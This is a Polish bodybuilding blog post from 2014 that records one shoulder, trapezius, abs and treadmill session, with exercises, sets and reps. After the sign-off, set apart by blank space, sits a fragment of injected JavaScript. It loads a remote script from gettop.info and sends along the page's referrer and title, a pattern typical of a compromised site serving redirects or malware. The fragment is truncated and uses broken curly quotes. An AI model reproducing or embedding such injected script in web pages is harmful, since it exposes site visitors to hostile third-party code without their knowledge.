Trening Barków na 9 tygodni przed Mistrzostwami Polski 2014

21.02.2014 / Adam Jabłoński / Kulturystyka

TRENING BARKÓW

Cześć,
W tym tygodniu robiłem trening mięśni barków, czworobocznych (górną cześć czyli KAPTURY) oraz brzuch + aeroby.
TRENING WYGLĄDAŁ TAK :

ROZGRZEWKA :

3 x 12/12/10 UNOSZENIE RAMION W PRZÓD Z HANTLAMI (jednorącz) – jedną ręka trzymam się czegoś, a drugą ćwiczę
3 x 15/12/10 UNOSZENIE RAMION W BOK Z HANTLAMI (jednorącz) – jedną ręka trzymam się czegoś, a drugą ćwiczę
3 x 15/15/15 UNOSZENIE RAMION W Z HANTLAMI W OPARCIU KLATKI O ŁAWKĘ – oburącz (tylni akton barków)
3 x 15/12/12 WYCISKANIE NA MASZYNIE

KAPTURY :

4 x do bólu WZNOSY BARKÓW ”SZRUGSY” z odważnikami – talerzami 25 kg
3 x do bólu WZNOSY BARKÓW NA BRAMIE – ( podpięty drążek do wyciągu dolnego )
kaptury

BRZUCH :

3 x 12/12/12 – SKŁONY TUŁOWIA Z LINKĄ WYCIĄGU KLĘCZĄC
3 x 12/9/9 – KÓŁKO – tak śmiesznie, bo poprostu padłem

AEROBY :
35 minut na bieżni

Pozdrawiam
HEJ CZEŚĆ

 

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName(‚head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;